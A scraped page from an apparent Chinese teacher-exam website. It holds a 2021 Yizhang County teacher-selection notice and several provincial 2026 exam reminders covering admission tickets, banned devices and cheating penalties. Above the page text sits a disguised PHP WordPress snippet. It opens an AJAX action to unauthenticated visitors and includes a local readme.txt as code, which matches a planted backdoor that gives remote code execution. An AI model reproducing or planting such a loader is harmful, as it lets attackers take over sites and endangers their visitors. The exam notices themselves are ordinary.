if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
湖南郴州市宜章县2021选聘教师268人公告-全国教师资格考试网

湖南郴州市宜章县2021选聘教师268人公告

  根据我县城区学校教育教学工作需要,经县城区学校教师选聘工作领导小组同意, 2021年城区学校公开选聘小学教师160名、初中教师79名,高中教师共29名。现公告如下:

  一、选聘岗位及人数

  1.小学教师

湖南郴州市宜章县2021选聘教师268人公告

  2.初中教师

湖南郴州市宜章县2021选聘教师268人公告

 

  3.高中教师

湖南郴州市宜章县2021选聘教师268人公告

 

  二、选聘原则

  坚持德才兼备,公平、公开、择优选聘的原则。

  三、选聘办法

  (一)选聘范围

  面向全县农村学校在职在编教师公开选聘。

  1.小学教师。面向岗位设置在小学的教师进行选聘。

  2.初中教师。面向岗位设置在初中的教师进行选聘。

  3.高中教师。面向岗位设置在初中、高中的教师进行选聘。

  (二)基本条件。具备良好的政治素质,遵纪守法,品行端正,爱岗敬业,乐于奉献,身体健康,能胜任教育教学工作。

  (三)学历及证书条件

  1.应聘小学教师需取得专科(含)以上学历,且有小学(含)以上教师资格证。

  2.应聘初中教师需取得本科(含)以上学历,且有初中(含)以上教师资格证,报考科目要求专业对口或与教师资格证专业对口,若专业不对口,则必须是2020年9月至2021年7月在此专业岗位上教学。

  3.应聘高中教师需取得本科(含)以上学历,且有高中(含)以上教师资格证,报考科目要求具有相应岗位学科的高中教师资格证。

  (四)资历条件

  1.应聘小学、初中、县六中高中教师:在农村学校任教的在职在编教师,截止2021年9月30日,服务时间5年(含)以上。近三年(2018年、2019年、2020年)年度考核均在合格(含)以上。

  2.应聘县养正中学高中教师:在农村学校任教的在职在编教师,截止2021年9月30日,服务时间3年(含)以上。服务期限满4年的,近三年(2018年、2019年、2020年)年度考核均在合格(含)以上;服务期限满3年的,近两年(2019年、2020年)年度考核均在合格(含)以上。

  (五)其它要求

  1.参加选聘需教师本人申请,申请中注明2020年9月至2021年7月所任教年级、科目,经所在学校审核盖章、支部书记签署意见及签名后方能办理报考手续。

  2.受党纪政务处分影响期内的不能报考。

  3.2019、2020年参加宜章县城区学校教师选聘录取而未到岗的不能报考。

  4.录聘后按各学校岗位设置情况重新确定岗位级别,享受新岗位工资待遇。

  5.参加2021年城区教师选聘进入预录公示环节,但不到岗的教师,三年(含)内不能报考城区学校教师选聘。

  四、选聘程序

  (一)报名及资格审查

  1.报名及资格审查时间、地点:2021年8月2日至8月4日(上午8:30—12:00,下午3:00—5:30),宜章县教育局五楼大会议室。

  2.报名及资格审查方式:本次选聘采取现场报名,现场报名同时对报考人员进行资格审查。报名期间,报考人员只能选择一个岗位报名。

  3.资格审查内容

  (1)所在学校签署意见、支部书记签名并加盖公章的报名申请表(附件)。

  (2)本人身份证、学历证书、教师资格证的原件及复印件。

  (3)学信网学历查询证明。

  (4)近期一寸蓝底照片2张。

  4.领取准考证:资格审查合格人员于2021年8月12日至8月13日(上午8:30—12:00,下午3:00—5:30)到县教育局人事股(308室)领取准考证。

  5.咨询电话:0735-3758349(宜章县教育局人事股)。

  (二)考试

  本次教师选聘只进行笔试。岗位选聘人数与经资格审查符合报名条件的应聘人数的比例不得低于1:2,达不到开考比例的,相应核减选聘计划。核减后仍无法达到最低开考比例的岗位,予以取消,该岗位报考人员可申请改报符合条件的其他岗位(改报截止时间为8月4日20:00)。

  1.笔试形式:闭卷考试,笔试成绩按百分制计分。

  2.笔试时间:2021年8月14日(星期六)9:00—11:00,120分钟。

  3.笔试地点:宜章县第一完全小学。

  4.笔试内容:教师岗位笔试内容为所报考学科(岗位)的专业文化基础知识。

  5.笔试命题:由市级以上有资质的专业命题机构命制。

  (三)录聘

  按照各学校选聘岗位核减后计划数1∶1的比例,在参加相应学校考试人员中按成绩从高分到低分的顺序等额确定录聘对象,但录聘对象的笔试成绩必须在60分以上(含60分)。分数相同,教龄长的优先,教龄相同的,年龄大的优先。预录公示无异议后,报县委编委会审定并办理正式调动手续。

  录聘后,五年内不得提出在城区其他学校间交流的申请。

  五、选聘纪律

  1.参加选聘的教师提供的个人信息及相关证书、证明必须真实,凡弄虚作假者,一经查实取消选聘资格。各学校给应聘教师报考申请书签署意见时需认真审核,否则由此所产生的相关费用由所在单位承担,并给予支部书记相应的纪律处分。

  2.参加本次选聘的工作人员,必须秉公办事,遵守工作纪律和要求,不得徇私舞弊。对有违纪行为的,视其情节轻重给予相应的党纪政务处分,涉嫌违法犯罪的,移交司法机关查处。

  3.监督举报电话:0735—3758451(驻县教育局纪检监察组)。

  湖南郴州市宜章县2021选聘教师268人公告附件:2021年宜章县城区学校教师选聘报名申请表.docx

宜章县城区学校教师选聘

领导小组办公室

2021年7月26日

 
回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部